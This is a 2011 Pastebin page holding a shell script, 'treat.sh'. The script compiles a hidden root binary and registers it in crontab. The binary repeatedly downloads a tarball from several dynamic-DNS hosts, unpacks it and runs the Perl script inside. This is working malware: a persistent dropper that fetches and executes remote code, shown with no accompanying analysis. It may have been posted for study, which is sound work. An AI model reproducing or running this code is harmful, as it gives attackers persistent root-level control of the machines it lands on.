SHARE
TWEET

treat.sh

eromang Oct 24th, 2011 1,038 Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. echo '#include <stdio.h>' > sysdbss.c
  2. echo 'int x=0;' >> sysdbss.c
  3. echo 'int main()' >> sysdbss.c
  4. echo '{' >> sysdbss.c
  5. echo 'while(1)' >> sysdbss.c
  6. echo '{' >> sysdbss.c
  7. echo 'system("wget http://chipmunkz.dyndns-remote.com/a.tar.gz");' >> sysdbss.c
  8. echo 'system("tar xzvf a.tar.gz");' >> sysdbss.c
  9. echo 'system("perl b.pl");' >> sysdbss.c
  10. echo 'system("rm -f a.tar.gz");' >> sysdbss.c
  11. echo 'for(x=0;x<=432;x++)' >> sysdbss.c
  12. echo '{' >> sysdbss.c
  13. echo 'sleep(200);' >> sysdbss.c
  14. echo '}' >> sysdbss.c
  15. echo 'system("wget http://chipmunkz.twilightparadox.com/a.tar.gz");' >> sysdbss.c
  16. echo 'system("tar xzvf a.tar.gz");' >> sysdbss.c
  17. echo 'system("perl b.pl");' >> sysdbss.c
  18. echo 'system("rm -f a.tar.gz");' >> sysdbss.c
  19. echo 'for(x=0;x<=432;x++)' >> sysdbss.c
  20. echo '{' >> sysdbss.c
  21. echo 'sleep(200);' >> sysdbss.c
  22. echo '}' >> sysdbss.c
  23. echo 'system("wget http://gettingz.strangled.net/a.tar.gz");' >> sysdbss.c
  24. echo 'system("tar xzvf a.tar.gz");' >> sysdbss.c
  25. echo 'system("perl b.pl");' >> sysdbss.c
  26. echo 'system("rm -f a.tar.gz");' >> sysdbss.c
  27. echo 'for(x=0;x<=432;x++)' >> sysdbss.c
  28. echo '{' >> sysdbss.c
  29. echo 'sleep(200);' >> sysdbss.c
  30. echo '}' >> sysdbss.c
  31. echo '}' >> sysdbss.c
  32. echo 'return 0;' >> sysdbss.c
  33. echo '}' >> sysdbss.c
  34. gcc sysdbss.c -o /root/.sysdbs
  35. chmod +x /root/.sysdbs
  36. #rm sysdbss.c
  37. crontab -l|sort|uniq > /tmp/myc
  38. echo '1 1 10 * * /root/.sysdbs' >> /tmp/myc
  39. crontab /tmp/myc
  40. rm /tmp/myc
  41.  
RAW Paste Data
Top